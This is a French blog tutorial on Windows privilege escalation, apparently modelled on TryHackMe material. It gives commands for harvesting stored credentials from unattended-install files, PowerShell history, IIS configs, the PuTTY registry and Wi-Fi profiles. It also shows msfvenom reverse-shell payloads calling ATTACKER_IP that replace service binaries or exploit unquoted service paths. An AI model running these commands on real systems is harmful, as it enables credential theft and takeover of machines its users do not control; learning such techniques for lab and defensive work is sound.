68a2564bc43b19024fdba263
68a256f3c43b19024fdba265

Elevation de Privilege sur Windows

Oxelya
19 août 2025
0 vues
0 commentaires
0.0/5 (0 votes)

Découvrez comment les hackers élèvent leur privilège sur Windows, ayant des droits Admin voir Système

Elevation de Privilege sur Windows

Recherche de Mots de Passe

Installations Windows Non Supervisées

Lors de l'installation de Windows sur un grand nombre d'hôtes, les administrateurs peuvent utiliser Windows Deployment Services (On verra comment configurer un serveur WDS dans un autre article), qui permet de déployer une seule image du système d'exploitation sur plusieurs hôtes via le réseau, c'est ce qu'on appelle les BOOT PXE. Ces types d'installations sont appelées installations non supervisées, car elles ne nécessitent pas d'interaction utilisateur. De telles installations requièrent l'utilisation d'un compte administrateur pour effectuer la configuration initiale, ce qui peut entraîner le stockage des informations d'identification sur la machine dans les emplacements suivants :

  • C:\Unattend.xml -> ***C'est le fichier qui permet de personnaliser les étapes d'installation de l'image Windows***
  • C:\Windows\Panther\Unattend.xml
  • C:\Windows\Panther\Unattend\Unattend.xml
  • C:\Windows\system32\sysprep.inf
  • C:\Windows\system32\sysprep\sysprep.xml

Dans ces fichiers, vous pourriez trouver des identifiants :

plaintext
Administrateur: Roger
Mot de passe: #Roger445

Historique de PowerShell

Lorsque l'utilisateur exécute une commande via PowerShell, celle-ci est enregistrée dans un fichier mémorisant les commandes passées. Si un utilisateur exécute une commande contenant un mot de passe en clair, il peut être retrouvé à l'aide de la commande suivante dans un terminal cmd.exe:

cmd
type %userprofile%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt

Note : Cette commande ne fonctionne que dans cmd.exe. Dans PowerShell, il faut remplacer %userprofile% par $Env:userprofile.

Identifiants Enregistrés sous Windows

Windows permet d'enregistrer les identifiants d'autres utilisateurs. Ces identifiants peuvent être listés avec la commande suivante :

cmd
cmdkey /list

Bien que les mots de passe ne soient pas affichés en clair, vous pouvez tester ces identifiants avec la commande runas et l'option /savecred :

cmd
runas /savecred /user:admin cmd.exe

Configuration IIS

Internet Information Services (IIS) est le serveur web par défaut des installations Windows. Les configurations des sites web sous IIS sont stockées dans le fichier web.config, qui peut contenir des mots de passe pour les bases de données ou les mécanismes d'authentification. On peut les retrouver aux emplacements suivants :

  • C:\inetpub\wwwroot\web.config
  • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\web.config

Pour rechercher des chaînes de connexion aux bases de données, utilisez :

cmd
type C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\web.config | findstr connectionString

Récupération d'Identifiants depuis des Logiciels : PuTTY

PuTTY est un client SSH couramment utilisé sous Windows. Il permet d'enregistrer des sessions contenant des configurations de connexion, mais ne sauvegarde pas les mots de passe SSH. Cependant, il peut stocker des informations d'authentification en clair pour les connexions proxy.

Pour récupérer ces identifiants, recherchez la clé de registre suivante :

cmd
reg query HKEY_CURRENT_USER\Software\SimonTatham\PuTTY\Sessions\ /f "Proxy" /s

Note : Simon Tatham est le créateur de PuTTY, son nom est utilisé dans le chemin de registre mais ne correspond pas à un nom d'utilisateur.

Exploitation des Failles Rapides

Permissions Insuffisantes sur un Exécutable de Service

Si un service Windows exécute un fichier binaire dont les permissions permettent la modification par un utilisateur non privilégié, il est possible de remplacer cet exécutable pour obtenir des privilèges plus élevés.

Vérification des permissions d'un exécutable de service avec icacls :

cmd
icacls C:\Progra2\System1\WService.exe

Si Everyone:(I)(M) apparaît, alors tous les utilisateurs peuvent modifier cet exécutable.

Génération d'un exécutable malveillant et remplacement du fichier légitime :

cmd
msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKER_IP LPORT=4445 -f exe-service -o rev-svc.exe # Génération d'un payload avec metasploit
move rev-svc.exe C:\Progra2\System1\WService.exe # Remplacement du service (move permet de garder le nom de base ici)
icacls C:\Progra2\System1\WService.exe /grant Everyone:F # /grant permet d'attribuer les autorisations, ici Everyone:Full Access

Redémarrage du service pour exécuter notre fichier malveillant :

cmd
sc stop nom_du_service_qui_execute_WService
sc start nom_du_service_qui_execute_WService

Chemins de Service Non Cités

Si un chemin d'exécutable d'un service contient des espaces et n'est pas entre guillemets, Windows pourrait exécuter un fichier malveillant placé dans un répertoire intermédiaire.

Exemple de service vulnérable :

cmd
sc qc "mon super service"

Si le BINARY_PATH_NAME (en gros le chemin d'accès au service) ressemble à :

plaintext
C:\MyPrograms\My Super Services\bin\disksrs.exe

Windows pourrait essayer d'exécuter C:\MyPrograms\My.exe en premier, si ce fichier existe. Car par défault il regarde d'abord si un nom est un exécutable avant d'être un dossier, et comme le nom du path n'est pas entre "" le premier mot à être pris en compte est "My".

Création et déplacement du fichier malveillant :

cmd
msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKER_IP LPORT=4446 -f exe-service -o rev-svc2.exe
move rev-svc2.exe C:\MyPrograms\My.exe
icacls C:\MyPrograms\My.exe /grant Everyone:F

Redémarrage du service :

cmd
sc stop "nom_du_service_qui_execute_My"
sc start "nom_du_service_qui_execute_My"

BONUS : Récupération des mots de passe Wi-Fi sous Windows avec netsh

Affichage des profils Wi-Fi enregistrés

Windows stocke absolument tous les réseaux auxquels vous vous êtes connecté via Wifi, on peut aller voir ce qu'il en est avec netsh.

Pour afficher la liste des réseaux Wi-Fi enregistrés sur votre ordinateur, utilisez la commande suivante dans un terminal cmd.exe en mode administrateur :

cmd
netsh wlan show profiles

Cette commande affichera une liste des profils Wi-Fi enregistrés sous Windows, par exemple :

plaintext
Profils de tous les utilisateurs :
---------------------------------
Profil Wi-Fi 1 : MonWiFi
Profil Wi-Fi 2 : BureauWiFi

Récupération de la clé Wi-Fi d’un profil spécifique

Une fois le nom du profil Wi-Fi identifié (par exemple, MonWiFi), vous pouvez récupérer sa clé de sécurité en utilisant la commande suivante :

cmd
netsh wlan show profile name="MonWiFi" key=clear

Le résultat affichera plusieurs informations, dont la clé Wi-Fi sous Contenu de la clé :

plaintext
Paramètres de sécurité
----------------------
Authentification : WPA2-Personal
Chiffrement : AES
Contenu de la clé : motdepassewifi123

Remarque : Cette commande nécessite des privilèges administrateur.

Conclusion

Voilà un bon début pour commencer à s'amuser sur Windows. tryHackMe explique ça très bien vous devriez aller visiter.

Noter cet article
Donnez votre avis sur cet article
Connectez-vous pour noter

Commentaires (0)

Connectez-vous pour ajouter un commentaire

Aucun commentaire pour le moment. Soyez le premier à commenter !